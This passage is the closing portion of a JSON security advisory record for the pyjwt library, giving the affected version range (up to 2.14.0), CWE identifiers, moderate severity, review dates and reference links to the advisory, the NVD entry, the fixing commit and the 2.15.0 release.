      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.14.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-102275"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jpadilla/pyjwt"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-345", "CWE-348" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-05T23:44:03Z",
    "nvd_published_at" : "2026-09-28T21:17:15Z"
  }
}